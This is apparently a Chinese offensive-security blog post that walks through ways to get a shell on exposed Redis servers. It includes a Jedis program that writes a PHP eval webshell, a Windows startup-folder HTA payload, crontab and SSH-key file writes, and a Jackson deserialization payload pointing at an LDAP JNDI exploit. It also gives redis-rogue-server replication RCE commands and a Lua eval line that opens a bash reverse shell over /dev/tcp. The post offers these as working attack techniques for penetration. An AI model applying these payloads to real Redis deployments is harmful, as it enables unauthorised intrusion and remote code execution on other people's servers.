哔哔两句
在我以往对 redis 服务的渗透经验中总结了以下几点可以 getshell 的方法。
写文件
特殊文件
Windows
- 开机自启动目录
Linux
- crontab
- SSH key
- webshell
反序列化
java 反序列化
- jackson
- fastjson
- jdk/Hessian 反序列化
- python 反序列化
- php 反序列化
- 主从复制 RCE
- Lua RCE
下面我会逐一对这几种redis getshell的方法展开讲解
写文件
写文件这个功能其实就是通过修改 redis 的 dbfilename、dir 配置项。
通常来说掌控了写文件也就完成了 rce 的一半。
这几种写文件来 getshell 的方式也是最有效最简单的。
写开机自启动
在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>
我把这段JS执行 calc 命令的代码写到了该目录下
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta
当系统启动时就会随之运行,从而执行攻击者的恶意代码。
crontab
在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx
注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。
SSH Key
linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/
。
只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了
webshell
这种方法就不用再多讲了,只要知道 web 绝对路径并且权限足够就可以写个 webshell。
写 webshell 的代码在 cn.b1ue.redis.filewrite.Webshell
类。
public class Webshell {
public static void main(String[] args) {
Jedis jedis = new Jedis("127.0.0.1", 6379);
jedis.flushAll();
jedis.set("x", "\n\n<?php eval($_REQUEST['x']); ?>\n\n");
jedis.configSet("dir","/home/web/wwwroot/");
jedis.configSet("dbfilename","x.php");
jedis.save();
jedis.close();
}
}
反序列化
我在看其他人写的一些关于 redis getshell 的文章中都没有提到过 redis 反序列化的问题,所以这篇文章重点写一下。
其实 redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 本就是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
我举例两个常见场景
1) java 程序要将用户登录后的 session 对象序列化缓存起来,这种场景是最常见的。
2) 程序员经常会把 redis 和 ORM 框架整合起来,一些频繁被查询的数据就会被序列化存储到 redis 里,在被查询时就会优先从 redis 里将对象反序列化一遍。
redis 一般存储的都是 java 序列化对象,php、python 比较少见,我见得比较多的就是 fastjson 和 jackson 类型的序列化数据。jdk 原生的序列化数据也有。
因为要从 redis 反序列化对象,在对象类型非单一或少量的情况下程序员通常会选择开启 jackson 的 defaulttyping 和 fastjson 的 autotype,所以这也就是为什么可以通过反序列化 getshell 的原因。
序列化数据类型分辨起来也很简单
- jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如
["com.blue.bean.User",xxx]
- fastjson:关注有没有
@type
字段 - jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名
所以以后如果再遇到 redis 服务器的时候写文件没法 getshell,不妨把 redis 的数据挑几个看看,是不是符合序列化数据的特征。
fastjson 和 jackson 都一样,所以只举例一个
jackson 反序列化
查看 redis 里的数据是 jackson 的格式可以考虑将这些 value 改成恶意的反序列化代码。当使用这个 redis 服务的 java 应用要从中取出缓存对象就会触发反序列化。
为了更贴近真实场景,我这里写了一个 springboot+redis+jackson 整合的 demo。
RedisConfig.java
也是网上拷的,大多数程序员都是使用的这种方式与 redis 整合。
这里只用关注一个细节,在jackson2JsonRedisSerializer()
方法中由于反序列化的对象类型的不确定性以及对 redis 的盲目信任通常都会开启defaulttyping
。
TestController.java
里写了两个接口,login 接口会把 User 对象直接存储到 redis。home 接口会将 username 参数当做 key 去 redis 里查询。
在“存储”和“查询”的时候实际上就是在“序列化”与“反序列化”。
正常情况下,逻辑是这样的。
调用login接口 -> 序列化User对象并存储到redis -> 调用home接口 -> 从redis取出数据并反序列化
假设我有 redis 的权限,那么我只要先调用登录接口让 login 接口序列化 User 对象到 redis,再把 redis 里的这条序列化数据篡改成准备好的恶意反序列化数据。当我再去访问 home 接口时,从 redis 中取出来的 value 也就是被我篡改后的反序列化代码,从而导致触发了反序列化漏洞。
搞明白了这些逻辑,就可以做一个简单的实验。
这是正常情况下序列化与反序列化的情况,这里要做的就是把 key 为blue
的值替换成恶意的反序列化代码。
["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1099/Exploit"}]
当再次反序列化的时候就触发了 JNDI 连接请求。
jdk 反序列化
jdk类型的反序列化数据也是在 redis 存储内容中比较常见的。
开发者通常会把他们编码成 base64 再存储。
和 Jackson 一个道理,篡改 redis 里面的反序列化数据,把恶意的序列化字节码存储进去,等 java 应用使用到它的时候就会反序列化触发漏洞。
主从复制 RCE
这是去年曝出来的 redis rce 方法,具体细节可以参考《15-redis-post-exploitation.pdf》。
exploit 参考这两个 github 项目,Ridter/redis-rce、n0b0dyCN/redis-rogue-server。
可影响版本范围 <=5.0.5 ,我这里用 redis-rogue-server 做演示,里面有已经编译好的 exp.so
直接执行命令即可得到一个正向 shell
python redis-rogue-server.py --rhost 192.168.91.147 --lhost 192.168.91.1
Lua RCE
这种方法一直有流传但没有见到多少人写过关于 Lua RCE 的资料。
redis Lua RCE 漏洞的 exploit 在[email protected]
的一个 github 项目 QAX-A-Team/redis_lua_exploit。
这里主要以演示 getshell 为主,关于这个漏洞的分析细节可以参考《在Redis中构建Lua虚拟机的稳定攻击路径》。
我准备的环境如下。
Centos 6.5 + redis 2.6.16
下载 QAX-A-Team/redis_lua_exploit ,修改redis_lua.py
里的 host 为目标 IP。
执行后得到这个提示说明可以执行命令了,通过redis-cli
连接到目标 redis ,执行eval "tonumber('id', 8)" 0
这段 lua,目标服务器就会执行id
命令。
也可以直接反弹 shell。
eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0
写在最后
我已将上文用到的代码上传到了 github,请参考 iSafeBlue/redis-rce。